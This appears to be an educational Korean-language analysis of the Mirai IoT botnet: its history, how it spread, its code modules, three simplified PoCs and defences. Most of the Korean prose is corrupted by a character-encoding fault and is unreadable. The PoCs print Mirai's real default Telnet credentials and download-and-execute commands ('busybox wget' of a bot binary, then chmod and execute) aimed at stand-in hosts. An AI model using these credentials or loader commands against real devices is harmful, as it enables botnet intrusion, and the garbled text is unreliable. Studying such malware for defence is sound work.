1. ๋ฐฐ๊ฒฝ/์ญ์ฌ โ ์ธ์ , ๋๊ฐ, ์ ์ ๋ช ํ๊ฐ
Mirai(์ผ๋ณธ์ด๋ก "๋ฏธ๋")๋ 2016๋ 8์ ์ฒ์ ๋ฑ์ฅํ IoT(์ฌ๋ฌผ์ธํฐ๋ท) ๋ด๋ท์ด๋ค. PC๊ฐ ์๋ IP ์นด๋ฉ๋ผ, DVR, NVR, ๊ณต์ ๊ธฐ ๊ฐ์ ์ ์ฌ์ ์๋ฒ ๋๋ ๊ธฐ๊ธฐ๋ฅผ ๊ฐ์ผ์์ผ ๋๊ท๋ชจ DDoS(๋ถ์ฐ์๋น์ค๊ฑฐ๋ถ) ๊ณต๊ฒฉ์ ๋์ํ ์ต์ด์ ์ฌ๋ก๋ก, ์ธํฐ๋ท ๋ณด์ ์ญ์ฌ์ ๋ถ์๋ น์ผ๋ก ๊ธฐ๋ก๋๋ค.
- ์์ฑ์: "Anna-senpai"๋ผ๋ ๋๋ค์์ผ๋ก ์๋ ค์ง ๋ฏธ๊ตญ ๋ด์ ์ง ์ฃผ์ ๋ํ์ Paras Jha. DDoS ๋์ฌ ์๋น์ค vDOS ์ด์์ง๊ณผ ์ฝํ ์์์ผ๋ฉฐ, 2017๋ 12์ FBI์ ์ฒดํฌ๋์ด Dalton Norman, Josiah White์ ํจ๊ป ์ปดํจํฐ ๋ฒ์ฃ ํ์๋ฅผ ์ธ์ ํ๋ค.
- ์ด๋ฆ์ ์ ๋: Jha๋ ์ ๋๋ฉ์ด์ ใ๋ฏธ๋ผ์ด ๋ํค(ๆชๆฅๆฅ่จ)ใ์์ ์ด๋ฆ์ ๋ฐ์๋ค๊ณ ๋ฐํ๋ค. (์ผ๋ณธ์ด๋ก ๋ฏธ๋ผ์ด = ๋ฏธ๋)
- ์ ์ ๋ช ํ๊ฐ: โ 2016๋ 9์ ๋ณด์ ๋ธ๋ก๊ฑฐ KrebsOnSecurity๋ฅผ 620Gbps๋ก ํ๊ฒฉ(๋น์ ๋ฏธ๊ตญ ๋๋ถ ์ต๋ ๊ท๋ชจ), โก ํ๋์ค ํธ์คํ OVH์ 1Tbps๊ธ ๊ณต๊ฒฉ, โข 2016๋ 10์ 21์ผ DNS ์ธํ๋ผ ๊ธฐ์ Dyn์ ๋ง๋น์์ผ ํธ์ํฐยท๋ทํ๋ฆญ์คยท๋ ๋งยท์คํฌํฐํ์ด ๋ฑ ๋ฏธ๊ตญ ๋๋ถ ๋๊ท๋ชจ ์๋น์ค ์ฅ์ ์ ๋ฐ, โฃ 2016๋ 9์ ์์ค์ฝ๋๊ฐ HackForums์ ๊ณต๊ฐ๋๋ฉฐ ์ดํ ์๋ฐฑ ๊ฐ์ ๋ณ์ข (Satori, Okiru, Masuta, Mozi ๋ฑ)์ด ์์์ ธ ๋์จ "IoT ์ ์ฑ์ฝ๋์ ์์กฐ"๊ฐ ๋์๊ธฐ ๋๋ฌธ์ด๋ค.
- ํ๊ณ ๊ธฐ๋ก: USENIX Security 2017์ ๋ฐํ๋ "Understanding the Mirai Botnet"(Antonakakis et al.)์ ์กฐ์ฌ ๊ธฐ๊ฐ ๋์ 60๋ง ๊ฐ ์ด์์ ๊ณ ์ IP๊ฐ ๊ฐ์ผ๋์์์ ๋ณด์ฌ์ค๋ค.
2. ๊ฐ์ผยท์ ํ ๊ฒฝ๋ก โ ์ด๋ป๊ฒ ํผ์ก๋
Mirai๋ ์ด๋ฉ์ผ ์ฒจ๋ถ๋ ์น ์ทจ์ฝ์ ์ด ์๋๋ผ, "์ธํฐ๋ท์ ๋ ธ์ถ๋ ํ ๋ท(Telnet) + ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ"๋ผ๋ IoT ์ ๊ณ์ ๋ง์ฑ์ ๋ฐฉ์น๋ฅผ ํ๊ณ ๋ค์๋ค. ์ค์ค๋ก ์ ํํ๋ ์์ ํํ๋ผ๊ธฐ๋ณด๋ค, ์๋ํ๋ ์ค์บ โ ๋ฌด์ฐจ๋ณ ๋์ โ ์๊ฒฉ ์ค์น์ 3๋จ๊ณ ํ์ดํ๋ผ์ธ์ผ๋ก ๊ธฐ๊ธฐ๋ฅผ ์ง์ด์ผ์ผฐ๋ค.
- 1๋จ๊ณ โ ์ค์บ(Scan): ๊ฐ์ผ๋ ๋ด์ด ๋ฌด์์ IP ๋์ญ์ ๋์์ผ๋ก TCP SYN ์ค์บ์ ์ํํ๋ค. ํ ๋ท ํฌํธ์ธ 23/2323์ด ์ด๋ ค ์์ผ๋ฉด ํ๋ณด ํ์ ๋ฑ๋กํ๊ณ C2(๋ช ๋ น์ ์ด์๋ฒ)์ ๋ณด๊ณ ํ๋ค. ์ถ๋ฐ์ง IP๋ฅผ ์์กฐํด ์ถ์ ์ ์ด๋ ต๊ฒ ๋ง๋ ๊ฒ๋ ์ด ๋จ๊ณ์ ํน์ง์ด๋ค.
- 2๋จ๊ณ โ ๋ธ๋ฃจํธํฌ์ค(Bruteforce): ํ์ ๋ฑ๋ก๋ ๊ธฐ๊ธฐ์ 62๊ฐ์ ๊ธฐ๋ณธ ์๊ฒฉ์ฆ๋ช ๋ชฉ๋ก(root:root, root:xc3511, root:vizxv, admin:admin ๋ฑ)์ ์์๋๋ก ๋์ ํด ํ ๋ท ๋ก๊ทธ์ธ์ ์๋ํ๋ค. ๋๋ถ๋ถ์ ์ทจ์ฝ ๊ธฐ๊ธฐ๋ ์ฒซ ๋ช ๋ฒ์ ์๋ ๋ง์ ๋ซ๋ฆฐ๋ค.
- 3๋จ๊ณ โ ๋ก๋(Loader): ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ฉด ์
ธ ๋ช
๋ น์ ์ฃผ์
ํด
wget/busybox wget์ผ๋ก CPU ์ํคํ ์ฒ๋ณ ๋ด ๋ฐ์ด๋๋ฆฌ(MIPS, ARM, x86 ๋ฑ)๋ฅผ ๋ด๋ ค๋ฐ์ ์คํ์ํจ๋ค. - 4๋จ๊ณ โ ๋ด ๊ฐ์ : ์คํ๋ ๋ด์ C2 ์๋ฒ์ ์ ์ํด "PING"์ผ๋ก ์ฒดํฌ์ธํ๊ณ , ๊ณต๊ฒฉ ๋ช ๋ น์ ๊ธฐ๋ค๋ฆฐ๋ค. ๊ฐ์ผ๋ ๊ธฐ๊ธฐ๋ ๋ค์ 1๋จ๊ณ์ ์ค์บ๋๊ฐ ๋์ด ์ง์์ ์ผ๋ก ๋ด๋ท์ ํ์ฅํ๋ค.
3. ๋์ ์๋ฆฌ ์์ธ ๋ถ์ โ ์ฝ๋/๊ตฌ์กฐ ๋ ๋ฒจ์์
๊ณต๊ฐ๋ Mirai ์์ค์ฝ๋๋ ๋ชจ๋ ๊ตฌ์กฐ๊ฐ ๋ช ํํ๋ค. ๊ฐ ๋ชจ๋์ด ์ค์ ๋ก ํ๋ ์ผ์ ๋ณด๋ฉด "๋จ์ํ ๋น๋ฐ๋ฒํธ ๋์ ๊ธฐ"๊ฐ ์๋๋ผ ์์กดยท์ ํยท๊ณต๊ฒฉยท์๋์ ๋ชจ๋ ๊ฐ์ถ ์ฐ์ ์ฉ ๋ด๋ท์ด์์์ ์ ์ ์๋ค.
- main.c โ ๋ด ๋ฉ์ธ: C2(๊ธฐ๋ณธ์ ์ผ๋ก ํ ๋ท ํฌํธ 23/101)์ ์ ์ํ๊ณ , 60์ด๋ง๋ค PING์ ๋ณด๋ด ์์กด์ ์๋ฆฐ๋ค. ์์ ํ ๋ช ๋ น์ ํ์ฑํด ๊ณต๊ฒฉ ์ค๋ ๋๋ฅผ ์์ฑํ๋ค.
- scanner.c โ ์ ํ ์์ง: ๋ฌด์์ IP ์์ฑ + ๋ฌด์์ ์ถ๋ฐ์ง IP ์์กฐ + 23/2323 ํฌํธ SYN ์ค์บ์ ๋ณ๋ ์ค๋ ๋๋ก ๋ฌดํ ๋ฐ๋ณตํ๋ค. ์๋ต์ด ์ค๋ IP๋ง ์ ๋ฐ ํ๋ก ๋๊ธด๋ค.
- bruteforce โ ์นจํฌ ์์ง: 62๊ฐ ๊ธฐ๋ณธ ์๊ฒฉ์ฆ๋ช
์ ์์ฐจ ๋์
ํ๋ค. ๋ก๊ทธ์ธ ์ฑ๊ณต ์
shell์ ์ป๊ณ , ๊ธฐ๊ธฐ์ ์ํคํ ์ฒ๋ฅผ ํ์ธํด ๋ง๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฐ๊ฒ ํ๋ค. - killer.c โ ์๊ธฐ๋ฐฉ์ด: ๋ค๋ฅธ ๋ด๋ท/๊ฒฝ์ ์
์ฑ์ฝ๋์ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์ ์ฃฝ์ด๊ณ , ๊ฐ์ผ ํ
iptables๋ก 23/2323 ํฌํธ๋ฅผ ์ฐจ๋จํด ๋ค๋ฅธ ๋ด๋ท์ด ์ฌ๊ฐ์ผํ์ง ๋ชปํ๊ฒ ํ๋ค. ๋ณ๋ ์์น๋ (watchdog) ํ๋ก์ธ์ค๊ฐ ๋ด์ด ์ฃฝ์ผ๋ฉด ์ฆ์ ์ฌ์คํ์ํจ๋ค. - attack.c + attack_udp.c / attack_app.c โ ๊ณต๊ฒฉ ์์ง: C2๊ฐ ๋ด๋ฆฌ๋
!* <๋ฒกํฐ> <ํ๊น> <์ง์์๊ฐ>ํ์์ ๋ช ๋ น์ ์คํํ๋ค. ๋ฒกํฐ๋ UDP flood(๋ฌด์์ 8๋ฐ์ดํธ ํค๋+๋ฐ์ดํฐ), SYN/ACK flood, GRE flood, DNS ์ํฐํ ์ฒ(๋ฌด์์ ์๋ธ๋๋ฉ์ธ์ผ๋ก ์คํ ๋ฆฌ์กธ๋ฒ๋ฅผ ๋๋ ค ์ฆํญ), HTTP flood, VSE(๊ฒ์์๋ฒ) ์ฟผ๋ฆฌ flood ๋ฑ ๋ค์์๋ค. - loader/ โ ๋ฐฐํฌ ์ธํ๋ผ: ๊ฐ์ผ ๊ธฐ๊ธฐ์ ์ํคํ ์ฒ๋ณ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ด๋ ค์ฃผ๋ ๋ณ๋ ์๋ฒ. wget์ด ์๋ ๊ธฐ๊ธฐ๋ฅผ ์ํด busybox wget๋ ํ์ฉํ๋ค.
- ๋น์์์ฑ์ ์ญ์ค: ๋ด์ ๋จ ์์ฃผํ์ด๋ผ ์ฌ๋ถํ ํ๋ฉด ์ฌ๋ผ์ง๋ค. ๊ทธ๋ฌ๋ ๋๋ถ๋ถ์ IP ์นด๋ฉ๋ผยทDVR์ ํ ๋ฒ ์ผ๋ฉด ๋ช ๋ฌ์ฉ ์ฌ๋ถํ ํ์ง ์๊ธฐ ๋๋ฌธ์ ์ค์ง์ ์ผ๋ก ์ค๋ ์ด์๋จ์๋ค. (์ดํ ๋ณ์ข ๋ค์ ํ๋์์ ์์ํํ๋ ๊ธฐ๋ฅ์ ์ถ๊ฐํ๋ค)
4. ํผํด ๊ท๋ชจ/์ํฅ โ ์ค์ ์ฌ๋ก ์์น
- KrebsOnSecurity ๊ณต๊ฒฉ (2016-09-20): ์์นด๋ง์ด ์ธก์ ๊ธฐ์ค 620Gbps์ DDoS. Krebs๊ฐ vDOS(DDoS ๋์ฌ ์๋น์ค)๋ฅผ ํญ๋กํ ๋ฐ ๋ํ ๋ณด๋ณต์ด์๋ค. ๋น์ ๋ฏธ๊ตญ ๋๋ถ์์ ๊ด์ธก๋ ์ต๋ ๊ท๋ชจ.
- OVH ๊ณต๊ฒฉ (2016-09): OVH ์ฐฝ์ ์ Octave Klaba๊ฐ ๋ฐํ 1Tbps๊ธ ๊ณต๊ฒฉ โ 145,000๋์ IP ์นด๋ฉ๋ผยทDVR์ด ๋์๋ ๊ฒ์ผ๋ก ์๋ ค์ก๋ค.
- Dyn DNS ๊ณต๊ฒฉ (2016-10-21): ์์ญ๋ง ๊ฐ์ ์๋ก ๋ค๋ฅธ IP์์ ์์์ง ๋๊ท๋ชจ DNS ์ฟผ๋ฆฌ ํ๋ฌ๋๋ก Dyn ์ธํ๋ผ๊ฐ ๋ง๋น โ ํธ์ํฐ, ๋ทํ๋ฆญ์ค, ๋ ๋ง, ์คํฌํฐํ์ด, GitHub, Etsy ๋ฑ ๋ฏธ๊ตญ ๋๋ถ ์ฌ์ฉ์์๊ฒ ์ ์๊ฐ ๋์ ์ ์ ์ฅ์ . "์ธํฐ๋ท์ด ์ฃฝ์ ๋ "๋ก ํ์๋๋ค.
- ๊ฐ์ผ ๊ท๋ชจ: USENIX Security 2017 ๋ ผ๋ฌธ ๊ธฐ์ค ์กฐ์ฌ ๊ธฐ๊ฐ ๋์ 60๋ง ๊ฐ ์ด์์ ๊ณ ์ IP ๊ฐ์ผ. DOJ๋ ๊ธฐ์ ๋น์ "์์ญ๋ง ๋์ ์ทจ์ฝ IoT ๊ธฐ๊ธฐ"๋ฅผ ๊ฐ์ผ์ํจ ๊ฒ์ผ๋ก ๋ฐํํ๋ค. ๊ฐ์ผ ๊ธฐ๊ธฐ์ ์๋น์๋ ์ค๊ตญ์ฐ IP ์นด๋ฉ๋ผยทDVR(๋คํ์, Xiongmai ๋ฑ)์ด์๋ค.
- ํํญํ: 2016๋ 9์ ์์ค์ฝ๋ ๊ณต๊ฐ ์ดํ ์๋ฐฑ ๊ฐ์ Mirai ๋ณ์ข ์ด ๋ฑ์ฅ โ Satori(2018๋ 1์, Huawei ๋ผ์ฐํฐ CVE-2017-17215 ์ ์ฉ์ผ๋ก ์ฝ 28๋ง ๋ ๊ฐ์ผ) ๋ฑ. IoT ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ ๋ฌธ์ ๋ฅผ ์ ์ธ๊ณ์ ๊ฐ์ธ์ํค๋ฉฐ, ๋ฏธ๊ตญ ์บ๋ฆฌํฌ๋์ SB-327 ๊ฐ์ IoT ๋ณด์ ๊ท์ ๋ ผ์๋ฅผ ์ด๋ฐํ๋ค.
5. PoC โ ๊ต์ก์ฉ ๋ชจ์ ์ฝ๋๋ก ๋์ ์๋ฆฌ ์ฌํ
PoC 1 โ ๊ฐ์ผ ๋จ๊ณ ์ฌํ (์ค์บ๋ + ๋ธ๋ฃจํธํฌ์ค + ๋ก๋): ์๋ณธ scanner.c์ ๋ธ๋ฃจํธํฌ์ค ๋ก์ง์ ์ธ๋ฉ๋ชจ๋ฆฌ ๊ฐ์ ๊ธฐ๊ธฐ ํ
์ด๋ธ ๋์์ผ๋ก ์ถ์ฝํ๋ค.
#!/usr/bin/env python3
"""
Mirai ๊ฐ์ผ ๋จ๊ณ ๊ต์ก์ฉ ์๋ฎฌ๋ ์ด์
(๊ฐ์์ ๋ก์ปฌ ์ค์ต ํ๊ฒฝ ์ ์ )
- ์ค์ ๋คํธ์ํฌ ์ค์บ/๊ณต๊ฒฉ์ด ์ ํ ์์: ์ธ๋ฉ๋ชจ๋ฆฌ '๊ฐ์ ๊ธฐ๊ธฐ ํ
์ด๋ธ'๋ง ๋์์ผ๋ก ๋์ ์๋ฆฌ ์ฌํ
- ์๋ณธ Mirai์ scanner.c + bruteforce ๋ก์ง์ ์ถ์ฝํ ๋ชจ์ ์ฝ๋ (ํ์ด๋ก๋ ์๋)
"""
import random, time
# ์๋ณธ Mirai์ 62๊ฐ ๊ธฐ๋ณธ ์๊ฒฉ์ฆ๋ช
๋ชฉ๋ก ์ค ์ผ๋ถ๋ง ๋ฐ์ท (๊ต์ก์ฉ)
DEFAULT_CREDS = [
("root", "root"), ("root", "xc3511"), ("root", "vizxv"),
("root", "admin"), ("admin", "admin"), ("root", "12345"),
("root", "default"), ("admin", "password"), ("root", "juantech"),
("support", "support"), ("root", "system"), ("root", "666666"),
]
# ๊ฐ์์ ๋ก์ปฌ ์ค์ต ํ๊ฒฝ: '๊ฐ์ผ ๋์' IoT ๊ธฐ๊ธฐ ๋ชฉ๋ก (์ ๋ถ ๊ฐ์, ์ค์ ์ฃผ์ ์๋)
FAKE_DEVICES = {
"192.168.77.11": ("admin", "admin"), # ๊ฐ์ IP์นด๋ฉ๋ผ (๊ธฐ๋ณธ ๋น๋ฒ ๊ทธ๋๋ก -> ์ทจ์ฝ)
"192.168.77.23": ("root", "vizxv"), # ๊ฐ์ DVR (๊ธฐ๋ณธ ๋น๋ฒ -> ์ทจ์ฝ)
"192.168.77.34": ("root", "s3cure!pw"), # ํจ์น/๋น๋ฒ ๋ณ๊ฒฝ๋ ๊ธฐ๊ธฐ (๋ฐฉ์ด๋จ)
"192.168.77.45": ("support", "support"), # ๊ฐ์ ๊ณต์ ๊ธฐ (๊ธฐ๋ณธ ๋น๋ฒ -> ์ทจ์ฝ)
}
def syn_scan(ip):
"""Mirai scanner.c์ SYN ์ค์บ ๋จ๊ณ ๋ชจ์: 23/2323 ํฌํธ ๊ฐ๋ฐฉ ์ฌ๋ถ ํ์ธ.
์ค์ Mirai๋ ์์กฐ๋ ์ถ๋ฐ์ง IP๋ก TCP SYN์ ๋ณด๋ด๊ณ SYN-ACK ์๋ต์ ๊ธฐ๋ค๋ฆฐ๋ค.
์ฌ๊ธฐ์๋ ๊ฐ์ ๊ธฐ๊ธฐ ํ
์ด๋ธ์ ์กด์ฌํ๋ฉด 'ํฌํธ ๊ฐ๋ฐฉ'์ผ๋ก ๊ฐ์ฃผํ๋ค."""
return ip in FAKE_DEVICES
def telnet_try(ip, user, pw):
"""๋ธ๋ฃจํธํฌ์ค ๋จ๊ณ ๋ชจ์: ๊ฐ์ ๊ธฐ๊ธฐ์ ์๊ฒฉ์ฆ๋ช
๊ณผ ๋์กฐ."""
real_user, real_pw = FAKE_DEVICES[ip]
time.sleep(0.02) # ๋คํธ์ํฌ ์ง์ฐ ํ๋ด
return user == real_user and pw == real_pw
def infect(ip):
"""๋ก๋(loader) ๋จ๊ณ ๋ชจ์: ์๋ณธ์ wget์ผ๋ก ์ํคํ
์ฒ๋ณ ๋ด ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฐ์ ์คํํ๋ค."""
print(f"[LOADER] {ip} -> busybox wget -O /tmp/bot http://c2.lab.local/bot && chmod 777 /tmp/bot && /tmp/bot")
def main():
random.seed(7) # ๋ฐ๋ชจ ์ถ๋ ฅ์ด ์์ ์ ์ผ๋ก ๋์ค๋๋ก ๊ณ ์ ์๋
print("[SCANNER] ๋ฌด์์ IP ๋์ SYN ์ค์บ ์์ (ํฌํธ 23/2323)")
for _ in range(60):
ip = f"192.168.77.{random.randint(1, 254)}"
if syn_scan(ip):
print(f"[SCANNER] {ip}:23 ๊ฐ๋ฐฉ ๊ฐ์ง -> ๋ธ๋ฃจํธํฌ์ค ํ ๋ฑ๋ก")
for user, pw in DEFAULT_CREDS:
if telnet_try(ip, user, pw):
print(f"[BRUTE] {ip} ๋ก๊ทธ์ธ ์ฑ๊ณต ({user}:{pw})")
infect(ip)
break
else:
print(f"[BRUTE] {ip} ๊ธฐ๋ณธ ์๊ฒฉ์ฆ๋ช
๋ชจ๋ ์คํจ (๋ฐฉ์ด๋ ๊ธฐ๊ธฐ)")
if __name__ == "__main__":
main()
์คํ ๊ฒฐ๊ณผ (์ค์ ์คํ ํ์ธ๋จ):
[SCANNER] ๋ฌด์์ IP ๋์ SYN ์ค์บ ์์ (ํฌํธ 23/2323)
[SCANNER] 192.168.77.23:23 ๊ฐ๋ฐฉ ๊ฐ์ง -> ๋ธ๋ฃจํธํฌ์ค ํ ๋ฑ๋ก
[BRUTE] 192.168.77.23 ๋ก๊ทธ์ธ ์ฑ๊ณต (root:vizxv)
[LOADER] 192.168.77.23 -> busybox wget -O /tmp/bot http://c2.lab.local/bot && chmod 777 /tmp/bot && /tmp/bot
PoC 2 โ ๊ณต๊ฒฉ ๋จ๊ณ ์ฌํ (UDP flood): ์๋ณธ attack.c์ UDP flood ๋ฒกํฐ๋ฅผ ๋ฃจํ๋ฐฑ ํ์ ยทํ๋ ๋ฆฌ๋ฐ์ผ๋ก ์ถ์ฝํ๋ค. ์ค์ Mirai๋ raw socket์ผ๋ก ์ถ๋ฐ์ง IP๋ฅผ ์์กฐํ๊ณ ์ด๋น ์๋ง~์์ญ๋ง ํจํท์ ์์๋ด์ง๋ง, ๋ณธ ์ฝ๋๋ 127.0.0.1์ discard ํฌํธ(9๋ฒ)์ ์ต๋ 100๊ฐ๋ง ๋ณด๋ธ๋ค.
#!/usr/bin/env python3
"""
Mirai attack.c์ UDP flood ๋ฒกํฐ๋ฅผ ๋ชจ์ํ ๊ต์ก์ฉ ์ฝ๋
- ์ค์ Mirai: raw socket + ์ถ๋ฐ์ง IP ์์กฐ + ๋ฌด์์ 8๋ฐ์ดํธ UDP ํค๋/ํ์ด๋ก๋, ์ด๋น ์๋ง~์์ญ๋ง ํจํท
- ๋ณธ PoC: ์ค์ง 127.0.0.1(๋ฃจํ๋ฐฑ) ๋์, ํจํท ์/ํฌ๊ธฐ ํ๋ ๋ฆฌ๋ฐ, ์ถ๋ฐ์ง ์์กฐ ์์
"""
import socket, random, sys, time
TARGET = ("127.0.0.1", 9) # ๋ก์ปฌ discard ํฌํธ (๋๋ ์ง์ ๋์ด UDP ์์ฝ ์๋ฒ)
MAX_PACKETS = 100 # ํ๋ ๋ฆฌ๋ฐ (์ค์ Mirai์ ๋ฌ๋ฆฌ ๊ทน์๋)
MAX_SIZE = 64 # 1ํจํท ์ต๋ 64๋ฐ์ดํธ
def udp_flood(duration_sec=2):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sent = 0
end = time.time() + duration_sec
while time.time() < end and sent < MAX_PACKETS:
# ์๋ณธ Mirai๋ ๋๋ค 8๋ฐ์ดํธ UDP ํค๋ + ๋๋ค ๋ฐ์ดํฐ๋ฅผ ์์กฐ ์์ค๋ก ์ ์ก
payload = bytes(random.getrandbits(8) for _ in range(random.randint(8, MAX_SIZE)))
s.sendto(payload, TARGET)
sent += 1
print(f"[UDPFLOOD] {sent} packets -> {TARGET[0]}:{TARGET[1]} (๊ต์ก์ฉ ๋ก์ปฌ ์ค์ต ํ์ )")
if __name__ == "__main__":
udp_flood(duration_sec=float(sys.argv[1]) if len(sys.argv) > 1 else 2)
์คํ ๊ฒฐ๊ณผ (์ค์ ์คํ ํ์ธ๋จ): [UDPFLOOD] 100 packets -> 127.0.0.1:9 (๊ต์ก์ฉ ๋ก์ปฌ ์ค์ต ํ์ )
PoC 3 โ ๋ก๋ ๋ฐฐํฌ ๋ช ๋ น์ ํํ (์ ธ ์ค๋ํซ): ์๋ณธ loader๊ฐ ๊ฐ์ผ ๊ธฐ๊ธฐ์์ ๋ด๋ฆฌ๋ ๋ช ๋ น์ ๊ตฌ์กฐ๋ง ์ฌํํ ๊ฒ์ด๋ค. URL์ ๋ฌธ์์ฉ ์์ฝ ๋์ญ(TEST-NET)์ ์ฌ์ฉํ๋ฉฐ ์ค์ ๋ค์ด๋ก๋๋ ์ผ์ด๋์ง ์๋๋ค.
# ์๋ณธ Mirai loader๊ฐ ๊ฐ์ผ ๊ธฐ๊ธฐ์์ ์คํํ ๋ช
๋ น์ ํํ (๊ต์ก์ฉ, ์ค์ ์ ์ก ์์)
# - CPU ์ํคํ
์ฒ๋ฅผ ํ์ธํ ๋ค ๊ทธ์ ๋ง๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฐ์ ์คํํ๋ค
# - wget์ด ์๋ ๊ธฐ๊ธฐ๋ busybox wget์ผ๋ก ๋์ฒดํ๋ค
uname -m # mips / armv7l / x86_64 ... ํ์ธ
busybox wget -O /tmp/bot http://192.0.2.1/bot # TEST-NET ์ฃผ์ (์ค์ ์๋ฒ ์๋)
chmod 777 /tmp/bot
/tmp/bot # ๋ด ์คํ -> C2 ์ฒดํฌ์ธ(PING) ์์
6. ๋ฐฉ์ด ๋ฐฉ๋ฒ/๊ตํ โ ์ด๋ป๊ฒ ๋ง์๊ณ , ๋ฌด์์ ๋ฐฐ์ฐ๋
- ๊ธฐ๊ธฐ/์ฌ์ฉ์ ์ธก: โ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ ์ฆ์ ๋ณ๊ฒฝ (Mirai๊ฐ ๋ซ์ 62๊ฐ ์กฐํฉ์ ์ ๋ถ ์ ์กฐ์ฌ ๊ธฐ๋ณธ๊ฐ), โก ์ต์ ํ์จ์ด ์ ์ง, โข ์๊ฒฉ ๊ด๋ฆฌ์ฉ ํ ๋ท(23/2323)์ ๋ซ๊ณ SSH/HTTPS ์ฌ์ฉ, โฃ UPnP๋ก ํฌํธ๊ฐ ์๋ ๊ฐ๋ฐฉ๋์ง ์๊ฒ ์ค์ ์ ๊ฒ.
- ๋คํธ์ํฌ/์ธํ๋ผ ์ธก: โ 23/2323 ํฌํธ์ ์ธํฐ๋ท ๋ ธ์ถ ์ฐจ๋จ, โก BCP38(ingress filtering)์ผ๋ก ์ถ๋ฐ์ง IP ์์กฐ ํธ๋ํฝ ์ฐจ๋จ, โข ์คํ DNS ๋ฆฌ์กธ๋ฒ ๋ฐฉ์น ๊ธ์ง(DNS ์ํฐํ ์ฒ/์ฆํญ ๋ฐฉ์ด), โฃ ๋น์ ์ ๋๋ UDP/SYN ํธ๋ํฝ ํ์ง ๋ฐ rate-limit.
- ์ฐ์ /์ ๋ ์ธก: IoT ์ ์กฐ์ฌ์ "๋ณด์ ๊ธฐ๋ณธ๊ฐ" ์๋ฌดํ โ ๋ฏธ๊ตญ ์บ๋ฆฌํฌ๋์ SB-327(2020๋ ๋ฐํจ, ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ ๊ธ์ง), ์ ๋ฝ ETSI EN 303 645 ๋ฑ. ๊ตญ๋ด์์๋ KISA๊ฐ IoT ๊ธฐ๊ธฐ ๋์ Mirai ๋ณ์ข ์ฃผ์๋ณด๋ฅผ ๋ฐ๋ณต ๋ฐ๋ นํ ๋ฐ ์๋ค.
- ๊ตํ:
- "๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ"๋ ์ฌ์ค์ ์ด๋ฆฐ ๋ฌธ: ๋จ 62๊ฐ ์กฐํฉ์ ์๊ฒฉ์ฆ๋ช ์ผ๋ก 60๋ง ๋ ์ด์์ ๊ธฐ๊ธฐ๊ฐ ๋ฌด๋์ก๋ค. ์ธ์ฆ์ ๊ธฐ๋ณธ์ด ๊ฐ์ฅ ํฐ ๊ณต๊ฒฉ๋ฉด์ด ๋ ์ ์๋ค.
- IoT์ ๊ท๋ชจ = ํ๋ ฅ: ์ฑ๋ฅ์ด ์ฝํ ์นด๋ฉ๋ผไธๅฐไธๅฐ๋ ํ์ฐฎ์๋, ์์ญ๋ง ๋๊ฐ ๋ชจ์ด๋ฉด ๊ตญ๊ฐ๊ธ DNS ์ธํ๋ผ(Dyn)๋ฅผ ๋ง๋น์ํฌ ์ ์๋ค. ๋ถ์ฐ์ ํ.
- ์์ค์ฝ๋ ๊ณต๊ฐ๋ ์ํ์ ์๊ตฌํ: Mirai ์์ค๊ฐ ๊ณต๊ฐ๋ ์๊ฐ ์ด ๊ณต๊ฒฉ์ "๋๊ตฌ"๊ฐ ๋์ด ๋๊ตฌ๋ ์ธ ์ ์๊ฒ ๋์๋ค. ์ดํ ์๋ฐฑ ๊ฐ ๋ณ์ข ์ ์๋ฐ์ .
- ๋ณด์์ ์ ์กฐ ๋จ๊ณ์์: ์ ๊ฐยท๋๋ ์์ฐ๋๋ IoT ๊ธฐ๊ธฐ์ ๋ณด์ ๊ฒฐ์ฌ๊ฐ ๋ด๋ท์ ์จ์์ด ๋๋ค. ๊ฐ๊ฒฉ ๊ฒฝ์์ ๋ฌปํ ๋ณด์์ด ๊ฒฐ๊ตญๅ จ็คพไผ์ ๋น์ฉ์ด ๋ ์ฌ๋ก.
์ถ์ฒ
- KrebsOnSecurity โ KrebsOnSecurity Hit With Record DDoS (2016-09-21)
- KrebsOnSecurity โ Who is Anna-Senpai, the Mirai Worm Author? (2017-01-18)
- USENIX Security 2017 โ Understanding the Mirai Botnet (Antonakakis et al.)
- Dyn โ Dyn Analysis Summary Of Friday October 21 Attack
- U.S. DOJ โ Three Individuals Plead Guilty To Computer Crimes Related To Mirai Botnet (2017-12-13)
- Wikipedia โ Mirai (malware)
ํจ๊ป ์ฝ๊ธฐ: ๐ฅ Smashing The Stack For Fun And Profit โ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์ ๊ต๊ณผ์ (1996)